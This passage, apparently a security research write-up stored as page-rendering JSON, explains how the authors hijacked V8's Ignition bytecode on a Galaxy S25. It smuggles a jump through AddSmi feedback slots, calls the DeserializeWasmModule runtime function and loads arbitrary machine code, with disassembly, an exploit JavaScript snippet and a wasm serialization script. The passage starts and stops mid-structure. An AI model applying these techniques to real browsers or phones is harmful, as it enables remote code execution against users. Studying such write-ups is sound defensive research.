construct a buffer with a fake stack frame).",{"type":24,"tag":25,"props":137684,"children":137685},{},[137686],{"type":29,"value":137687},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":25,"props":137689,"children":137690},{},[137691],{"type":29,"value":137692},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":25,"props":137694,"children":137695},{},[137696,137698,137704,137706,137712,137714,137720],{"type":29,"value":137697},"At this point, we identified an interesting opcode: ",{"type":24,"tag":80,"props":137699,"children":137701},{"className":137700},[],[137702],{"type":29,"value":137703},"CallRuntime",{"type":29,"value":137705},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":80,"props":137707,"children":137709},{"className":137708},[],[137710],{"type":29,"value":137711},"--allow-natives-syntax",{"type":29,"value":137713}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":80,"props":137715,"children":137717},{"className":137716},[],[137718],{"type":29,"value":137719},"DeserializeWasmModule",{"type":29,"value":87},{"type":24,"tag":25,"props":137722,"children":137723},{},[137724,137726,137733,137734,137739,137740,137746,137748,137755],{"type":29,"value":137725},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":2773,"props":137727,"children":137730},{"href":137728,"rel":137729},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[2777],[137731],{"type":29,"value":137732},"JIT-compiled functions",{"type":29,"value":24139},{"type":24,"tag":80,"props":137735,"children":137737},{"className":137736},[],[137738],{"type":29,"value":137719},{"type":29,"value":10204},{"type":24,"tag":80,"props":137741,"children":137743},{"className":137742},[],[137744],{"type":29,"value":137745},"SerializeWasmModule",{"type":29,"value":137747}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":2773,"props":137749,"children":137752},{"href":137750,"rel":137751},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[2777],[137753],{"type":29,"value":137754},"removed",{"type":29,"value":137756}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":25,"props":137758,"children":137759},{},[137760,137762,137768,137770,137776,137778,137783,137785,137791,137793,137798,137799,137804,137805,137810,137812,137818,137820,137824],{"type":29,"value":137761},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":80,"props":137763,"children":137765},{"className":137764},[],[137766],{"type":29,"value":137767},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":137769},"\nWhere ",{"type":24,"tag":80,"props":137771,"children":137773},{"className":137772},[],[137774],{"type":29,"value":137775},"func-id",{"type":29,"value":137777}," is a 2-byte function ID, ",{"type":24,"tag":80,"props":137779,"children":137781},{"className":137780},[],[137782],{"type":29,"value":43825},{"type":29,"value":137784}," is the index of the last register passed and ",{"type":24,"tag":80,"props":137786,"children":137788},{"className":137787},[],[137789],{"type":29,"value":137790},"argc",{"type":29,"value":137792}," is the number of arguments passed (e.g. passing ",{"type":24,"tag":80,"props":137794,"children":137796},{"className":137795},[],[137797],{"type":29,"value":49980},{"type":29,"value":546},{"type":24,"tag":80,"props":137800,"children":137802},{"className":137801},[],[137803],{"type":29,"value":50123},{"type":29,"value":855},{"type":24,"tag":80,"props":137806,"children":137808},{"className":137807},[],[137809],{"type":29,"value":50106},{"type":29,"value":137811}," would be encoded as ",{"type":24,"tag":80,"props":137813,"children":137815},{"className":137814},[],[137816],{"type":29,"value":137817},"\u003Cr2> \u003C3>",{"type":29,"value":137819},").\nThis requires ",{"type":24,"tag":8545,"props":137821,"children":137822},{},[137823],{"type":29,"value":23715},{"type":29,"value":137825}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":43,"props":137827,"children":137829},{"id":137828},"better-bytecode-control",[137830],{"type":29,"value":137831},"Better Bytecode Control",{"type":24,"tag":25,"props":137833,"children":137834},{},[137835,137837,137844,137846,137852],{"type":29,"value":137836},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":2773,"props":137838,"children":137841},{"href":137839,"rel":137840},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[2777],[137842],{"type":29,"value":137843},"feedback vector slot",{"type":29,"value":137845},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":80,"props":137847,"children":137849},{"className":137848},[],[137850],{"type":29,"value":137851},"AddSmi",{"type":29,"value":137853}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":25,"props":137855,"children":137856},{},[137857],{"type":29,"value":137858},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":137,"props":137860,"children":137862},{"code":137861},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[137863],{"type":24,"tag":80,"props":137864,"children":137865},{"__ignoreMap":7},[137866],{"type":29,"value":137861},{"type":24,"tag":25,"props":137868,"children":137869},{},[137870,137872,137878],{"type":29,"value":137871},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":80,"props":137873,"children":137875},{"className":137874},[],[137876],{"type":29,"value":137877},"AddSmi.ExtraWide",{"type":29,"value":137879},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":25,"props":137881,"children":137882},{},[137883],{"type":29,"value":137884},"Eventually, we can reach a stage like this:",{"type":24,"tag":137,"props":137886,"children":137888},{"code":137887},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[137889],{"type":24,"tag":80,"props":137890,"children":137891},{"__ignoreMap":7},[137892],{"type":29,"value":137887},{"type":24,"tag":25,"props":137894,"children":137895},{},[137896],{"type":29,"value":137897},"If you skip the first two bytes, you have",{"type":24,"tag":22292,"props":137899,"children":137900},{},[137901,137932],{"type":24,"tag":2678,"props":137902,"children":137903},{},[137904,137909,137911,137916,137918,137924,137926],{"type":24,"tag":80,"props":137905,"children":137907},{"className":137906},[],[137908],{"type":29,"value":137703},{"type":29,"value":137910}," (0x6c) to ",{"type":24,"tag":80,"props":137912,"children":137914},{"className":137913},[],[137915],{"type":29,"value":137719},{"type":29,"value":137917}," (0x0266) starting from register ",{"type":24,"tag":80,"props":137919,"children":137921},{"className":137920},[],[137922],{"type":29,"value":137923},"a2",{"type":29,"value":137925}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":80,"props":137927,"children":137929},{"className":137928},[],[137930],{"type":29,"value":137931},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":2678,"props":137933,"children":137934},{},[137935],{"type":29,"value":137936},"a Jump instruction",{"type":24,"tag":43,"props":137938,"children":137940},{"id":137939},"returning-back-to-js",[137941],{"type":29,"value":137942},"Returning Back to JS",{"type":24,"tag":25,"props":137944,"children":137945},{},[137946,137948,137954],{"type":29,"value":137947},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":80,"props":137949,"children":137951},{"className":137950},[],[137952],{"type":29,"value":137953},"yield",{"type":29,"value":137955}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":25,"props":137957,"children":137958},{},[137959],{"type":29,"value":137960},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":137,"props":137962,"children":137964},{"code":137963,"language":36966,"meta":7,"className":36964,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137965],{"type":24,"tag":80,"props":137966,"children":137967},{"__ignoreMap":7},[137968,137979,138027,138048,138064,138087,138115,138132],{"type":24,"tag":147,"props":137969,"children":137970},{"class":149,"line":150},[137971,137975],{"type":24,"tag":147,"props":137972,"children":137973},{"style":321},[137974],{"type":29,"value":53930},{"type":24,"tag":147,"props":137976,"children":137977},{"style":235},[137978],{"type":29,"value":6630},{"type":24,"tag":147,"props":137980,"children":137981},{"class":149,"line":160},[137982,137987,137991,137996,138000,138005,138009,138014,138018,138022],{"type":24,"tag":147,"props":137983,"children":137984},{"style":247},[137985],{"type":29,"value":137986},"  $",{"type":24,"tag":147,"props":137988,"children":137989},{"style":235},[137990],{"type":29,"value":82202},{"type":24,"tag":147,"props":137992,"children":137993},{"style":3534},[137994],{"type":29,"value":137995},"'a1 + 0xa931111;'",{"type":24,"tag":147,"props":137997,"children":137998},{"style":235},[137999],{"type":29,"value":87},{"type":24,"tag":147,"props":138001,"children":138002},{"style":229},[138003],{"type":29,"value":138004},"repeat",{"type":24,"tag":147,"props":138006,"children":138007},{"style":235},[138008],{"type":29,"value":480},{"type":24,"tag":147,"props":138010,"children":138011},{"style":705},[138012],{"type":29,"value":138013},"0x059302",{"type":24,"tag":147,"props":138015,"children":138016},{"style":241},[138017],{"type":29,"value":1791},{"type":24,"tag":147,"props":138019,"children":138020},{"style":705},[138021],{"type":29,"value":10147},{"type":24,"tag":147,"props":138023,"children":138024},{"style":235},[138025],{"type":29,"value":138026},")}\n",{"type":24,"tag":147,"props":138028,"children":138029},{"class":149,"line":169},[138030,138035,138039,138044],{"type":24,"tag":147,"props":138031,"children":138032},{"style":247},[138033],{"type":29,"value":138034},"  a1",{"type":24,"tag":147,"props":138036,"children":138037},{"style":241},[138038],{"type":29,"value":1734},{"type":24,"tag":147,"props":138040,"children":138041},{"style":705},[138042],{"type":29,"value":138043}," 0x0402666c",{"type":24,"tag":147,"props":138045,"children":138046},{"style":235},[138047],{"type":29,"value":432},{"type":24,"tag":147,"props":138049,"children":138050},{"class":149,"line":178},[138051,138055,138060],{"type":24,"tag":147,"props":138052,"children":138053},{"style":321},[138054],{"type":29,"value":40802},{"type":24,"tag":147,"props":138056,"children":138057},{"style":705},[138058],{"type":29,"value":138059}," 0x393e91a",{"type":24,"tag":147,"props":138061,"children":138062},{"style":235},[138063],{"type":29,"value":432},{"type":24,"tag":147,"props":138065,"children":138066},{"class":149,"line":187},[138067,138071,138075,138079,138083],{"type":24,"tag":147,"props":138068,"children":138069},{"style":235},[138070],{"type":29,"value":52473},{"type":24,"tag":147,"props":138072,"children":138073},{"style":321},[138074],{"type":29,"value":54010},{"type":24,"tag":147,"props":138076,"children":138077},{"style":235},[138078],{"type":29,"value":408},{"type":24,"tag":147,"props":138080,"children":138081},{"style":247},[138082],{"type":29,"value":57047},{"type":24,"tag":147,"props":138084,"children":138085},{"style":235},[138086],{"type":29,"value":505},{"type":24,"tag":147,"props":138088,"children":138089},{"class":149,"line":196},[138090,138094,138098,138102,138106,138111],{"type":24,"tag":147,"props":138091,"children":138092},{"style":247},[138093],{"type":29,"value":107522},{"type":24,"tag":147,"props":138095,"children":138096},{"style":235},[138097],{"type":29,"value":87},{"type":24,"tag":147,"props":138099,"children":138100},{"style":229},[138101],{"type":29,"value":107531},{"type":24,"tag":147,"props":138103,"children":138104},{"style":235},[138105],{"type":29,"value":480},{"type":24,"tag":147,"props":138107,"children":138108},{"style":3534},[138109],{"type":29,"value":138110},"\"foo\"",{"type":24,"tag":147,"props":138112,"children":138113},{"style":235},[138114],{"type":29,"value":1473},{"type":24,"tag":147,"props":138116,"children":138117},{"class":149,"line":205},[138118,138123,138128],{"type":24,"tag":147,"props":138119,"children":138120},{"style":321},[138121],{"type":29,"value":138122},"  yield",{"type":24,"tag":147,"props":138124,"children":138125},{"style":247},[138126],{"type":29,"value":138127}," a16",{"type":24,"tag":147,"props":138129,"children":138130},{"style":235},[138131],{"type":29,"value":432},{"type":24,"tag":147,"props":138133,"children":138134},{"class":149,"line":214},[138135],{"type":24,"tag":147,"props":138136,"children":138137},{"style":235},[138138],{"type":29,"value":827},{"type":24,"tag":25,"props":138140,"children":138141},{},[138142,138144],{"type":29,"value":138143},"Starting from the final ",{"type":24,"tag":80,"props":138145,"children":138147},{"className":138146},[],[138148],{"type":29,"value":137851},{"type":24,"tag":137,"props":138150,"children":138152},{"code":138151}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[138153],{"type":24,"tag":80,"props":138154,"children":138155},{"__ignoreMap":7},[138156],{"type":29,"value":138151},{"type":24,"tag":25,"props":138158,"children":138159},{},[138160,138162,138167,138169,138175],{"type":29,"value":138161},"The smuggled jump in ",{"type":24,"tag":80,"props":138163,"children":138165},{"className":138164},[],[138166],{"type":29,"value":137851},{"type":29,"value":138168}," will redirect us to ",{"type":24,"tag":80,"props":138170,"children":138172},{"className":138171},[],[138173],{"type":29,"value":138174},"1a e9 93 03",{"type":29,"value":138176},", which results in:",{"type":24,"tag":22292,"props":138178,"children":138179},{},[138180,138191],{"type":24,"tag":2678,"props":138181,"children":138182},{},[138183,138189],{"type":24,"tag":80,"props":138184,"children":138186},{"className":138185},[],[138187],{"type":29,"value":138188},"Star r16",{"type":29,"value":138190}," (store accumulator to r16)",{"type":24,"tag":2678,"props":138192,"children":138193},{},[138194,138199],{"type":24,"tag":80,"props":138195,"children":138197},{"className":138196},[],[138198],{"type":29,"value":137621},{"type":29,"value":138200}," past the throw into the catch relevant code",{"type":24,"tag":25,"props":138202,"children":138203},{},[138204,138206,138212],{"type":29,"value":138205},"This will bring us nicely to the final ",{"type":24,"tag":80,"props":138207,"children":138209},{"className":138208},[],[138210],{"type":29,"value":138211},"yield a16",{"type":29,"value":138213},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":43,"props":138215,"children":138217},{"id":138216},"executing-shellcode",[138218],{"type":29,"value":138219},"Executing Shellcode",{"type":24,"tag":25,"props":138221,"children":138222},{},[138223],{"type":29,"value":138224},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":137,"props":138226,"children":138228},{"code":138227,"language":41216,"meta":7,"className":41214,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[138229],{"type":24,"tag":80,"props":138230,"children":138231},{"__ignoreMap":7},[138232,138262,138489,138557,138564,138609,138655,138695,138702,138726,138763,138799],{"type":24,"tag":147,"props":138233,"children":138234},{"class":149,"line":150},[138235,138239,138244,138248,138252,138257],{"type":24,"tag":147,"props":138236,"children":138237},{"style":218},[138238],{"type":29,"value":40648},{"type":24,"tag":147,"props":138240,"children":138241},{"style":247},[138242],{"type":29,"value":138243}," wasm_code",{"type":24,"tag":147,"props":138245,"children":138246},{"style":241},[138247],{"type":29,"value":651},{"type":24,"tag":147,"props":138249,"children":138250},{"style":218},[138251],{"type":29,"value":37533},{"type":24,"tag":147,"props":138253,"children":138254},{"style":229},[138255],{"type":29,"value":138256}," Uint8Array",{"type":24,"tag":147,"props":138258,"children":138259},{"style":235},[138260],{"type":29,"value":138261},"([\n",{"type":24,"tag":147,"props":138263,"children":138264},{"class":149,"line":160},[138265,138270,138274,138279,138283,138288,138292,138297,138301,138305,138309,138313,138317,138321,138325,138329,138333,138337,138341,138345,138349,138353,138357,138362,138366,138370,138374,138378,138382,138386,138390,138394,138398,138402,138406,138410,138414,138418,138422,138426,138430,138434,138438,138442,138446,138450,138454,138459,138463,138468,138472,138477,138481,138485],{"type":24,"tag":147,"props":138266,"children":138267},{"style":705},[138268],{"type":29,"value":138269},"  0",{"type":24,"tag":147,"props":138271,"children":138272},{"style":235},[138273],{"type":29,"value":546},{"type":24,"tag":147,"props":138275,"children":138276},{"style":705},[138277],{"type":29,"value":138278},"97",{"type":24,"tag":147,"props":138280,"children":138281},{"style":235},[138282],{"type":29,"value":546},{"type":24,"tag":147,"props":138284,"children":138285},{"style":705},[138286],{"type":29,"value":138287},"115",{"type":24,"tag":147,"props":138289,"children":138290},{"style":235},[138291],{"type":29,"value":546},{"type":24,"tag":147,"props":138293,"children":138294},{"style":705},[138295],{"type":29,"value":138296},"109",{"type":24,"tag":147,"props":138298,"children":138299},{"style":235},[138300],{"type":29,"value":546},{"type":24,"tag":147,"props":138302,"children":138303},{"style":705},[138304],{"type":29,"value":1154},{"type":24,"tag":147,"props":138306,"children":138307},{"style":235},[138308],{"type":29,"value":546},{"type":24,"tag":147,"props":138310,"children":138311},{"style":705},[138312],{"type":29,"value":3173},{"type":24,"tag":147,"props":138314,"children":138315},{"style":235},[138316],{"type":29,"value":546},{"type":24,"tag":147,"props":138318,"children":138319},{"style":705},[138320],{"type":29,"value":3173},{"type":24,"tag":147,"props":138322,"children":138323},{"style":235},[138324],{"type":29,"value":546},{"type":24,"tag":147,"props":138326,"children":138327},{"style":705},[138328],{"type":29,"value":3173},{"type":24,"tag":147,"props":138330,"children":138331},{"style":235},[138332],{"type":29,"value":546},{"type":24,"tag":147,"props":138334,"children":138335},{"style":705},[138336],{"type":29,"value":1154},{"type":24,"tag":147,"props":138338,"children":138339},{"style":235},[138340],{"type":29,"value":546},{"type":24,"tag":147,"props":138342,"children":138343},{"style":705},[138344],{"type":29,"value":23134},{"type":24,"tag":147,"props":138346,"children":138347},{"style":235},[138348],{"type":29,"value":546},{"type":24,"tag":147,"props":138350,"children":138351},{"style":705},[138352],{"type":29,"value":1154},{"type":24,"tag":147,"props":138354,"children":138355},{"style":235},[138356],{"type":29,"value":546},{"type":24,"tag":147,"props":138358,"children":138359},{"style":705},[138360],{"type":29,"value":138361},"96",{"type":24,"tag":147,"props":138363,"children":138364},{"style":235},[138365],{"type":29,"value":546},{"type":24,"tag":147,"props":138367,"children":138368},{"style":705},[138369],{"type":29,"value":3173},{"type":24,"tag":147,"props":138371,"children":138372},{"style":235},[138373],{"type":29,"value":546},{"type":24,"tag":147,"props":138375,"children":138376},{"style":705},[138377],{"type":29,"value":3173},{"type":24,"tag":147,"props":138379,"children":138380},{"style":235},[138381],{"type":29,"value":546},{"type":24,"tag":147,"props":138383,"children":138384},{"style":705},[138385],{"type":29,"value":22901},{"type":24,"tag":147,"props":138387,"children":138388},{"style":235},[138389],{"type":29,"value":546},{"type":24,"tag":147,"props":138391,"children":138392},{"style":705},[138393],{"type":29,"value":8753},{"type":24,"tag":147,"props":138395,"children":138396},{"style":235},[138397],{"type":29,"value":546},{"type":24,"tag":147,"props":138399,"children":138400},{"style":705},[138401],{"type":29,"value":1154},{"type":24,"tag":147,"props":138403,"children":138404},{"style":235},[138405],{"type":29,"value":546},{"type":24,"tag":147,"props":138407,"children":138408},{"style":705},[138409],{"type":29,"value":3173},{"type":24,"tag":147,"props":138411,"children":138412},{"style":235},[138413],{"type":29,"value":546},{"type":24,"tag":147,"props":138415,"children":138416},{"style":705},[138417],{"type":29,"value":60260},{"type":24,"tag":147,"props":138419,"children":138420},{"style":235},[138421],{"type":29,"value":546},{"type":24,"tag":147,"props":138423,"children":138424},{"style":705},[138425],{"type":29,"value":61473},{"type":24,"tag":147,"props":138427,"children":138428},{"style":235},[138429],{"type":29,"value":546},{"type":24,"tag":147,"props":138431,"children":138432},{"style":705},[138433],{"type":29,"value":1154},{"type":24,"tag":147,"props":138435,"children":138436},{"style":235},[138437],{"type":29,"value":546},{"type":24,"tag":147,"props":138439,"children":138440},{"style":705},[138441],{"type":29,"value":23715},{"type":24,"tag":147,"props":138443,"children":138444},{"style":235},[138445],{"type":29,"value":546},{"type":24,"tag":147,"props":138447,"children":138448},{"style":705},[138449],{"type":29,"value":138287},{"type":24,"tag":147,"props":138451,"children":138452},{"style":235},[138453],{"type":29,"value":546},{"type":24,"tag":147,"props":138455,"children":138456},{"style":705},[138457],{"type":29,"value":138458},"104",{"type":24,"tag":147,"props":138460,"children":138461},{"style":235},[138462],{"type":29,"value":546},{"type":24,"tag":147,"props":138464,"children":138465},{"style":705},[138466],{"type":29,"value":138467},"101",{"type":24,"tag":147,"props":138469,"children":138470},{"style":235},[138471],{"type":29,"value":546},{"type":24,"tag":147,"props":138473,"children":138474},{"style":705},[138475],{"type":29,"value":138476},"108",{"type":24,"tag":147,"props":138478,"children":138479},{"style":235},[138480],{"type":29,"value":546},{"type":24,"tag":147,"props":138482,"children":138483},{"style":705},[138484],{"type":29,"value":138476},{"type":24,"tag":147,"props":138486,"children":138487},{"style":235},[138488],{"type":29,"value":1549},{"type":24,"tag":147,"props":138490,"children":138491},{"class":149,"line":169},[138492,138496,138500,138504,138508,138512,138516,138520,138524,138528,138532,138536,138540,138544,138548,138553],{"type":24,"tag":147,"props":138493,"children":138494},{"style":705},[138495],{"type":29,"value":138269},{"type":24,"tag":147,"props":138497,"children":138498},{"style":235},[138499],{"type":29,"value":546},{"type":24,"tag":147,"props":138501,"children":138502},{"style":705},[138503],{"type":29,"value":3173},{"type":24,"tag":147,"props":138505,"children":138506},{"style":235},[138507],{"type":29,"value":546},{"type":24,"tag":147,"props":138509,"children":138510},{"style":705},[138511],{"type":29,"value":94836},{"type":24,"tag":147,"props":138513,"children":138514},{"style":235},[138515],{"type":29,"value":546},{"type":24,"tag":147,"props":138517,"children":138518},{"style":705},[138519],{"type":29,"value":23134},{"type":24,"tag":147,"props":138521,"children":138522},{"style":235},[138523],{"type":29,"value":546},{"type":24,"tag":147,"props":138525,"children":138526},{"style":705},[138527],{"type":29,"value":1154},{"type":24,"tag":147,"props":138529,"children":138530},{"style":235},[138531],{"type":29,"value":546},{"type":24,"tag":147,"props":138533,"children":138534},{"style":705},[138535],{"type":29,"value":8753},{"type":24,"tag":147,"props":138537,"children":138538},{"style":235},[138539],{"type":29,"value":546},{"type":24,"tag":147,"props":138541,"children":138542},{"style":705},[138543],{"type":29,"value":3173},{"type":24,"tag":147,"props":138545,"children":138546},{"style":235},[138547],{"type":29,"value":546},{"type":24,"tag":147,"props":138549,"children":138550},{"style":705},[138551],{"type":29,"value":138552},"11",{"type":24,"tag":147,"props":138554,"children":138555},{"style":235},[138556],{"type":29,"value":1549},{"type":24,"tag":147,"props":138558,"children":138559},{"class":149,"line":178},[138560],{"type":24,"tag":147,"props":138561,"children":138562},{"style":235},[138563],{"type":29,"value":9377},{"type":24,"tag":147,"props":138565,"children":138566},{"class":149,"line":187},[138567,138571,138575,138579,138583,138588,138592,138596,138600,138605],{"type":24,"tag":147,"props":138568,"children":138569},{"style":218},[138570],{"type":29,"value":40648},{"type":24,"tag":147,"props":138572,"children":138573},{"style":247},[138574],{"type":29,"value":77206},{"type":24,"tag":147,"props":138576,"children":138577},{"style":241},[138578],{"type":29,"value":651},{"type":24,"tag":147,"props":138580,"children":138581},{"style":218},[138582],{"type":29,"value":37533},{"type":24,"tag":147,"props":138584,"children":138585},{"style":247},[138586],{"type":29,"value":138587}," WebAssembly",{"type":24,"tag":147,"props":138589,"children":138590},{"style":235},[138591],{"type":29,"value":87},{"type":24,"tag":147,"props":138593,"children":138594},{"style":229},[138595],{"type":29,"value":91502},{"type":24,"tag":147,"props":138597,"children":138598},{"style":235},[138599],{"type":29,"value":480},{"type":24,"tag":147,"props":138601,"children":138602},{"style":247},[138603],{"type":29,"value":138604},"wasm_code",{"type":24,"tag":147,"props":138606,"children":138607},{"style":235},[138608],{"type":29,"value":1473},{"type":24,"tag":147,"props":138610,"children":138611},{"class":149,"line":196},[138612,138616,138621,138625,138629,138633,138637,138642,138646,138651],{"type":24,"tag":147,"props":138613,"children":138614},{"style":218},[138615],{"type":29,"value":40648},{"type":24,"tag":147,"props":138617,"children":138618},{"style":247},[138619],{"type":29,"value":138620}," inst",{"type":24,"tag":147,"props":138622,"children":138623},{"style":241},[138624],{"type":29,"value":651},{"type":24,"tag":147,"props":138626,"children":138627},{"style":218},[138628],{"type":29,"value":37533},{"type":24,"tag":147,"props":138630,"children":138631},{"style":247},[138632],{"type":29,"value":138587},{"type":24,"tag":147,"props":138634,"children":138635},{"style":235},[138636],{"type":29,"value":87},{"type":24,"tag":147,"props":138638,"children":138639},{"style":229},[138640],{"type":29,"value":138641},"Instance",{"type":24,"tag":147,"props":138643,"children":138644},{"style":235},[138645],{"type":29,"value":480},{"type":24,"tag":147,"props":138647,"children":138648},{"style":247},[138649],{"type":29,"value":138650},"mod",{"type":24,"tag":147,"props":138652,"children":138653},{"style":235},[138654],{"type":29,"value":1473},{"type":24,"tag":147,"props":138656,"children":138657},{"class":149,"line":205},[138658,138662,138666,138670,138674,138678,138682,138686,138691],{"type":24,"tag":147,"props":138659,"children":138660},{"style":218},[138661],{"type":29,"value":40648},{"type":24,"tag":147,"props":138663,"children":138664},{"style":247},[138665],{"type":29,"value":85593},{"type":24,"tag":147,"props":138667,"children":138668},{"style":241},[138669],{"type":29,"value":651},{"type":24,"tag":147,"props":138671,"children":138672},{"style":247},[138673],{"type":29,"value":138620},{"type":24,"tag":147,"props":138675,"children":138676},{"style":235},[138677],{"type":29,"value":87},{"type":24,"tag":147,"props":138679,"children":138680},{"style":247},[138681],{"type":29,"value":43483},{"type":24,"tag":147,"props":138683,"children":138684},{"style":235},[138685],{"type":29,"value":87},{"type":24,"tag":147,"props":138687,"children":138688},{"style":247},[138689],{"type":29,"value":138690},"shell",{"type":24,"tag":147,"props":138692,"children":138693},{"style":235},[138694],{"type":29,"value":432},{"type":24,"tag":147,"props":138696,"children":138697},{"class":149,"line":214},[138698],{"type":24,"tag":147,"props":138699,"children":138700},{"emptyLinePlaceholder":16},[138701],{"type":29,"value":314},{"type":24,"tag":147,"props":138703,"children":138704},{"class":149,"line":272},[138705,138709,138714,138718,138722],{"type":24,"tag":147,"props":138706,"children":138707},{"style":241},[138708],{"type":29,"value":61976},{"type":24,"tag":147,"props":138710,"children":138711},{"style":229},[138712],{"type":29,"value":138713},"WasmTierUpFunction",{"type":24,"tag":147,"props":138715,"children":138716},{"style":235},[138717],{"type":29,"value":480},{"type":24,"tag":147,"props":138719,"children":138720},{"style":247},[138721],{"type":29,"value":81884},{"type":24,"tag":147,"props":138723,"children":138724},{"style":235},[138725],{"type":29,"value":1473},{"type":24,"tag":147,"props":138727,"children":138728},{"class":149,"line":281},[138729,138733,138738,138742,138747,138751,138755,138759],{"type":24,"tag":147,"props":138730,"children":138731},{"style":218},[138732],{"type":29,"value":40648},{"type":24,"tag":147,"props":138734,"children":138735},{"style":247},[138736],{"type":29,"value":138737}," serialized",{"type":24,"tag":147,"props":138739,"children":138740},{"style":241},[138741],{"type":29,"value":651},{"type":24,"tag":147,"props":138743,"children":138744},{"style":241},[138745],{"type":29,"value":138746}," %",{"type":24,"tag":147,"props":138748,"children":138749},{"style":229},[138750],{"type":29,"value":137745},{"type":24,"tag":147,"props":138752,"children":138753},{"style":235},[138754],{"type":29,"value":480},{"type":24,"tag":147,"props":138756,"children":138757},{"style":247},[138758],{"type":29,"value":138650},{"type":24,"tag":147,"props":138760,"children":138761},{"style":235},[138762],{"type":29,"value":1473},{"type":24,"tag":147,"props":138764,"children":138765},{"class":149,"line":299},[138766,138770,138774,138778,138782,138786,138790,138795],{"type":24,"tag":147,"props":138767,"children":138768},{"style":218},[138769],{"type":29,"value":17406},{"type":24,"tag":147,"props":138771,"children":138772},{"style":247},[138773],{"type":29,"value":14782},{"type":24,"tag":147,"props":138775,"children":138776},{"style":241},[138777],{"type":29,"value":651},{"type":24,"tag":147,"props":138779,"children":138780},{"style":218},[138781],{"type":29,"value":37533},{"type":24,"tag":147,"props":138783,"children":138784},{"style":229},[138785],{"type":29,"value":138256},{"type":24,"tag":147,"props":138787,"children":138788},{"style":235},[138789],{"type":29,"value":480},{"type":24,"tag":147,"props":138791,"children":138792},{"style":247},[138793],{"type":29,"value":138794},"serialized",{"type":24,"tag":147,"props":138796,"children":138797},{"style":235},[138798],{"type":29,"value":1473},{"type":24,"tag":147,"props":138800,"children":138801},{"class":149,"line":308},[138802,138807,138811,138815,138819,138824,138828,138832,138836,138841,138845,138850,138854,138858,138863],{"type":24,"tag":147,"props":138803,"children":138804},{"style":247},[138805],{"type":29,"value":138806},"console",{"type":24,"tag":147,"props":138808,"children":138809},{"style":235},[138810],{"type":29,"value":87},{"type":24,"tag":147,"props":138812,"children":138813},{"style":229},[138814],{"type":29,"value":107531},{"type":24,"tag":147,"props":138816,"children":138817},{"style":235},[138818],{"type":29,"value":480},{"type":24,"tag":147,"props":138820,"children":138821},{"style":3534},[138822],{"type":29,"value":138823},"'['",{"type":24,"tag":147,"props":138825,"children":138826},{"